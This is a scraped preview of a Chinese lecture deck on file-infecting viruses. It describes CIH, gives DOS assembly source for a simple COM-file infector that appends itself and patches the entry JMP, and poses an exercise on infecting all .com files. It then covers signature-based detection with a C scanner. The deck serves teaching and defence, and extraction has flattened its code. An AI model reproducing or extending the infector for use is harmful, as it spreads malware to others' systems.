文件型病毒的原理實例和檢測課件_第1頁
文件型病毒的原理實例和檢測課件_第2頁
文件型病毒的原理實例和檢測課件_第3頁
文件型病毒的原理實例和檢測課件_第4頁
文件型病毒的原理實例和檢測課件_第5頁
已閱讀5頁,還剩39頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

1、文件型病毒的原理、實例和檢測常見的病毒分類文件型病毒引導型病毒宏病毒網(wǎng)絡病毒網(wǎng)頁病毒(惡意代碼)腳本病毒蠕蟲病毒郵件病毒木馬病毒文件型病毒文件型病毒定義文件型病毒是主要感染可執(zhí)行文件的病毒,它通常隱藏在宿主程序中,執(zhí)行宿主程序時,將會先執(zhí)行病毒程序再執(zhí)行宿主程序文件型病毒傳播方式當宿主程序運行時,病毒程序首先運行,然后駐留在內(nèi)存中,再伺機感染其它的可執(zhí)行程序,達到傳播的目的文件型病毒文件型病毒的感染對象擴展名是COM或者EXE的文件是文件型病毒感染的主要對象文件型病毒破壞過程系統(tǒng)啟動運行.com或.exe文件病毒隨文件轉(zhuǎn)到內(nèi)存對調(diào)入內(nèi)存的新文件實施監(jiān)控判斷新文件是否被感染?判斷是否符合病毒觸發(fā)

2、條件?激活病毒,實施破壞Yes實施感染Yes引導模塊破壞模塊傳染模塊文件型病毒文件型病毒類型前后附加型:附加在文件的開頭或者末尾覆蓋型:覆蓋后源文件長度不變,便于隱藏伴隨型:文件中插入跳轉(zhuǎn)命令。伴隨病毒不改變被感染的文件,而是為被感染的文件創(chuàng)建一個伴隨文件(病毒文件)感染COM文件的一種方法 JMP XXXX:XXXX - 原程序 - 病 毒 - 文件型病毒舉例CIH主要感染W(wǎng)indows95/98下的可執(zhí)行文件經(jīng)歷了v1.0,v1.1、v1.2、v1.3、v1.4總共5個版本,危害最大的是v1.2版本,此版本只在每年的4月26日發(fā)作當運行了帶毒的文件后,CIH病毒駐留內(nèi)存,再運行其它.exe

3、文件時,首先在文件中搜索“caves”字符,如果沒有發(fā)現(xiàn)就立即傳染CIH病毒發(fā)作時硬盤數(shù)據(jù)、硬盤主引導記錄、系統(tǒng)引導扇區(qū)、文件分配表被覆蓋,造成硬盤數(shù)據(jù)特別是C盤數(shù)據(jù)丟失,并破壞部分類型的主板上的Flash BIOS導致計算機無法使用匯編virus代碼實例該病毒文件感染的是同目錄下名為mycom1的com文件目標文件(要感染的文件):病毒文件:目標文件的asm代碼如下: code segment org 100h assume cs:code,ds:code,es:code main proc near mov ax,4c00h int 21h code ends end main本com文件

4、的實際有效指令下面,我們來分析病毒文件的工作過程:讀入目標文件()移動文件指針到文件()尾部將病毒體()附加在感染文件()后面移動文件指針到文件()開頭將構(gòu)造好的 JMP 指令寫入文件的起始處關閉文件打開目標文件()根據(jù)的尾部地址,構(gòu)造JMP指令(文件尾部是病毒代碼的開始處,也就是jmp要跳轉(zhuǎn)到的地址) mov ax,4c00h int 21h : :M文件指針Jmp (pop si) . pop si sub si,offset locate mov ax,word ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2mo

5、v ds:102h,al : : : : : : 1. 打開目標文件2. 讀入目標文件3. 移動文件指針 到文件尾部4. 構(gòu)造JMP指令5. 病毒體()附加在M后面6. 移動文件指針到mycom1開頭7. 將構(gòu)造好的 JMP 指令寫入文件指針處(mycom1的起始處)8. 關閉文件補充關于dos功能調(diào)用的調(diào)用號調(diào)用號存入寄存器ax的高8位,也就是ah中,命令為:mov ah, 調(diào)用號Dos功能調(diào)用以指令以int 21h結(jié)束本程序中用到的調(diào)用號打開文件:3d讀文件:3f寫文件:40關閉文件:3e移動文件指針:42接著來看病毒文件的匯編代碼code segment assume cs:code,d

6、s:code,ss:code org 100hstart: nop nop nopvstart: call locatelocate: pop si sub si,offset locate mov ax,word ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2 mov ds:102h,al初始工作 mov ax,3d02h lea dx,fnamesi int 21h mov bx,ax mov ah,3fh mov cx,3 lea dx,first_3bytesi int 21h mov ax,4202h xor

7、 cx,cx xor dx,dx int 21h sub ax,3 mov word ptr jmp_3bytesi+1,ax打開目標文件讀文件移動文件指針到末尾計算跳轉(zhuǎn)地址,并構(gòu)造jmp指令 mov ax,4000h mov cx,vsize lea dx,vstartsi int 21h mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,40h mov cx,3 lea dx,jmp_3bytesi int 21h mov ah,3eh int 21h病毒附加到文件后面指針移動到文件開頭寫入jmp指令(這條指令覆蓋了原文件的第一條指令)關閉文件

8、 mov ax,100h push ax ret first_3byte db 0cdh,20h,0 jmp_3byte db 0e9h,?,? fname db ,0 vsize equ $-offset vstart code ends end start善后工作病毒代碼運行后:的第一條語句mov ax,4c00h被jmp 0105語句覆蓋的第二條語句后面附加了virus1的代碼M沒被感染前:M被感染后:附加的病毒代碼已被跳轉(zhuǎn)指令覆蓋問題:考慮感染的通用性問題,如何感染相同目錄下的所有com文件(*.com)?提示:需要遍歷查找所有的匹配項(后綴為.com的文件),考慮dos調(diào)用4e(查找

9、第一個匹配項)和4f(查找下一個匹配項)MASM使用方法把MASM放在跟目錄下例如E:MASM 把編輯好的ASM文件(用TXT文檔編寫程序,保存.把后綴名TXT改成ASM)放在MASM文件夾下如(E:MASM文件名.ASM)點擊開始菜單 .運行-CMD-E:回車-CD MASM回車,進入masm環(huán)境編譯: - masm 文件名 3下回車連接:-link 文件名 3下回車(本試驗中,run file的后綴名exe改為com)運行:-文件名. Com調(diào)試: -debug 文件名 . Com調(diào)試選項 u:反編譯調(diào)試選項d:查看內(nèi)存內(nèi)容病毒檢測方法特征代碼法概念:利用病毒留在受感染文件中的病毒特征值進

10、行檢測對比文件與病毒數(shù)據(jù)庫中的病毒特征代碼,檢查文件是否含有病毒特征代碼法特征碼是什么呢?一串表明病毒自身特征的十六進制的字串比如說,如果在第1034字節(jié)處是下面的內(nèi)容:0 xec , 0 x99, 0 x80,0 x99,就表示是大麻病毒所以,0 xec , 0 x99, 0 x80,0 x99就是大麻病毒得特征碼特征碼一般都選得很長,有時可達數(shù)十字節(jié),一般也會選取多個,以保證正確判斷病毒特征碼的存儲數(shù)據(jù)結(jié)構(gòu)示例:typedef struct tagVSIGNATURE BAV_SIGN_TYPE eType; DWORD dwOffset; DWORD dwSize; BYTE Signa

11、tureMAX_SIGNATURE_LEN; VSIGNATURE,*PVSIGNATURE;特征代碼法某病毒的特征碼表示: BS_PHY_FILE, 0, 32, 0 x58, 0 x35, 0 x4F, 0 x21, 0 x50, 0 x25, 0 x40, 0 x41, 0 x50, 0 x5B, 0 x34, 0 x5C, 0 x50, 0 x5A, 0 x58, 0 x35, 0 x34, 0 x28, 0 x50, 0 x5E, 0 x29, 0 x37, 0 x43, 0 x43, 0 x29, 0 x37, 0 x7D, 0 x24, 0 x45, 0 x49, 0 x43,

12、0 x41, 特征代碼法以上是病毒的一條特征碼,一般病毒會有多條特征碼,也就是有多個VSIGNATURE 的結(jié)構(gòu)用一個新的數(shù)據(jù)結(jié)構(gòu)來把一個病毒的所有VSIGNATURE 組織在一起,這樣就構(gòu)成了對該病毒的完整描述把這些完整的描述用鏈表組織起來,就是我們的病毒數(shù)據(jù)庫特征代碼法特征代碼法的優(yōu)點:檢測準確快速可識別病毒的名稱誤報警率低依據(jù)檢測結(jié)果可做解毒處理是檢測已知病毒的最簡單、開銷最小的方法特征代碼法特征代碼法的缺點:不能檢測未知病毒。不能檢查多態(tài)性病毒。不能對付隱蔽性病毒。隨著病毒種類的增多,逐一檢查和搜集已知病毒的特征代碼,不僅費用開銷大,而且在網(wǎng)絡上運行效率低,影響此類工具的實用性附:特征

13、碼檢測的一個例子不妨設某病毒的特征碼表示如下:文件偏移地址0 x0c90提取特征碼長度:0 x20(32)特征碼內(nèi)容:0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 38 2E 30 B0 64 21 73 05 3C 83 98 1B 76 5B 36 8B假設要檢測的文件為:c:sampleV.exe用程序來實現(xiàn),代碼如下:# include # includebool scanvir(const char *file,long offset, int length, void *vir);main() int i; unsigned cha

14、r vir=0 x0A,0 x73,0 x53,0 x41,0 x2E,0 x65,0 x78,0 x30,0 x5C,0 x5C,0 x31,0 x39,0 x32,0 x2E,0 x31,0 x36,0 x38,0 x2E,0 x30,0 xB0,0 x64,0 x21,0 x73,0 x05,0 x3C,0 x83,0 x98,0 x1B,0 x76,0 x5B,0 x36,0 x8B; i=scanvir(c:sampleV.exe,0 x0c90,0 x20,vir); /調(diào)用查毒函數(shù) if(i=1) printf(警告!發(fā)現(xiàn)病毒。n); if(i=0) printf(沒有發(fā)現(xiàn)病毒。n);待續(xù)bool scanvir(const char *file,long offset, int length, void *vir)FILE *fp = NULL; int a=0;char rvir255=0;bool b=false;fp=fopen(file,“rb”); /以2進制打開指定文件if(NULL=fp)goto novir;fseek(fp,offset,SEEK_SET); /把文件指針指向偏移地址fread(rvir,length,1,fp); /讀取length長度的代碼

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論